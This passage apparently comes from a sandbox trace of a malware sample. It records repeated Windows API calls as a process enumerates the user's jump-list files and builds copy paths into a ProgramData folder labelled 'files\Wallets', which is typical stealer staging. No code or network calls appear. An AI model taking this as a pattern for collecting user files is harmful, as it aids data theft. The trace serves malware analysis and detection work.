lpString2="5f7b5f1e01b83767.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" [0052.423] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.423] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="5f7b5f1e01b83767.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5f7b5f1e01b83767.automaticDestinations-ms" [0052.423] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.423] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="61ebb1e65cfcb8da.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" [0052.424] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="61ebb1e65cfcb8da.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" [0052.424] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.424] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="6d2bac8f1edf6668.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" [0052.424] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="6d2bac8f1edf6668.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" [0052.424] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.424] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="75668a91ce73b054.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms" [0052.424] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="75668a91ce73b054.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\75668a91ce73b054.automaticDestinations-ms" [0052.424] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.424] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="7e4dca80246863e3.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" [0052.424] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="7e4dca80246863e3.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" [0052.424] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.424] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="969252ce11249fdd.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms" [0052.424] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.424] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="969252ce11249fdd.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\969252ce11249fdd.automaticDestinations-ms" [0052.424] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.425] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="9cfafb05ce914942.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" [0052.425] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="9cfafb05ce914942.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" [0052.425] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.425] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="b8ab77100df80ab2.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" [0052.425] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="b8ab77100df80ab2.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" [0052.425] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.425] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="d00655d2aa12ff6d.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" [0052.425] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="d00655d2aa12ff6d.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d00655d2aa12ff6d.automaticDestinations-ms" [0052.425] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.425] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="eb282ead62b4db87.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms" [0052.425] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: 